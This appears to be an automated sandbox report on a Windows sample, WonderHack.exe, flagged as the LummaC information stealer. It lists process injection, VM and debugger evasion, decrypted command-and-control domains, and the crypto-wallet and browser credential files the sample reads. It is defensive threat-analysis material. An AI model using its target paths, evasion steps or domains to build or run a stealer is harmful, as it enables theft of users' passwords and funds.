Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: WonderHack.exe, 00000002.00000003.2431470081.0000000003385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: WonderHack.exe, 00000002.00000003.2431470081.0000000003383000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431593063.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453477056.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453259214.0000000003337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: WonderHack.exe, 00000002.00000003.2431593063.0000000003312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: WonderHack.exe, 00000002.00000003.2431470081.0000000003383000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431593063.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453477056.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453259214.0000000003337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: WonderHack.exe, 00000002.00000003.2431593063.0000000003312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49806 version: TLS 1.2

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CAC040	0_2_00CAC040
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00C91000	0_2_00C91000
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CA6194	0_2_00CA6194
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CB1250	0_2_00CB1250
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CBEB72	0_2_00CBEB72
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CAAC41	0_2_00CAAC41
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CBCD97	0_2_00CBCD97

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: String function: 00CA66A0 appears 50 times

Source: WonderHack.exe, 00000000.00000000.1696868394.0000000000D21000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000002.00000002.2585059014.0000000000D21000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000002.00000003.1704267961.0000000000BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs WonderHack.exe
Source: WonderHack.exe	Binary or memory string: OriginalFilenameRpcPing.exej% vs WonderHack.exe

Source: WonderHack.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: WonderHack.exe

Static PE information: Section: .bss ZLIB complexity 1.000336057282794

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@11/3

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03

Source: WonderHack.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WonderHack.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WonderHack.exe, 00000002.00000003.2453297401.00000000032FA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: WonderHack.exe	Virustotal: Detection: 38%
Source: WonderHack.exe	ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\WonderHack.exe

File read: C:\Users\user\Desktop\WonderHack.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"	Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: WonderHack.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CA67C3 push ecx; ret	0_2_00CA67D6
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F5ED3C push eax; retf	2_3_00F5ED3D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F5FA24 pushad ; retf	2_3_00F5FA25
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F147F8 pushfd ; iretd	2_3_00F147FD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F147F8 pushfd ; iretd	2_3_00F147FD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F1403C push esp; retf	2_3_00F14041
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F1403C push esp; retf	2_3_00F14041
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F147F8 pushfd ; iretd	2_3_00F147FD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F147F8 pushfd ; iretd	2_3_00F147FD
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F1403C push esp; retf	2_3_00F14041
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F1403C push esp; retf	2_3_00F14041
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F5ED3C push eax; retf	2_3_00F5ED3D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 2_3_00F5FA24 pushad ; retf	2_3_00F5FA25

Source: C:\Users\user\Desktop\WonderHack.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\WonderHack.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-22240

Source: C:\Users\user\Desktop\WonderHack.exe TID: 1076	Thread sleep time: -270000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe TID: 3704	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CB9126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00CB9126

Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430352231.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532232865.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2527263074.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\WonderHack.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CAF2B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CAF2B0

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CCF19E mov edi, dword ptr fs:[00000030h]		0_2_00CCF19E
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00C916C0 mov edi, dword ptr fs:[00000030h]		0_2_00C916C0

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CB4ABC GetProcessHeap,

0_2_00CB4ABC

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CA616C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CA616C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CAF2B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CAF2B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CA651C SetUnhandledExceptionFilter,	0_2_00CA651C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00CA6528 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CA6528

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CCF19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00CCF19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\WonderHack.exe

Memory written: C:\Users\user\Desktop\WonderHack.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: WonderHack.exe, 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: WonderHack.exe, 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: WonderHack.exe, 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click

Source: C:\Users\user\Desktop\WonderHack.exe

Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00CB83DF
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_00CB43A7
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00CB86CB
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_00CB8630
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_00CB897D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_00CB891E
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_00CB8A9D
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: EnumSystemLocalesW,	0_2_00CB8A52
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00CB8B44
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_00CB8C4A
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: GetLocaleInfoW,	0_2_00CB3EAC

Source: C:\Users\user\Desktop\WonderHack.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CA7110 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00CA7110

Source: C:\Users\user\Desktop\WonderHack.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: WonderHack.exe, 00000002.00000003.2532156311.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585755451.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532389602.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532196517.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2545384166.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532963840.00000000032EA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\WonderHack.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 3696, type: MEMORYSTR
Source: Yara match	File source: 2.2.WonderHack.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WonderHack.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: WonderHack.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: WonderHack.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: WonderHack.exe	String found in binary or memory: Wallets/JAXX New Version
Source: WonderHack.exe	String found in binary or memory: window-state.json
Source: WonderHack.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: WonderHack.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: WonderHack.exe	String found in binary or memory: %appdata%\Ethereum
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
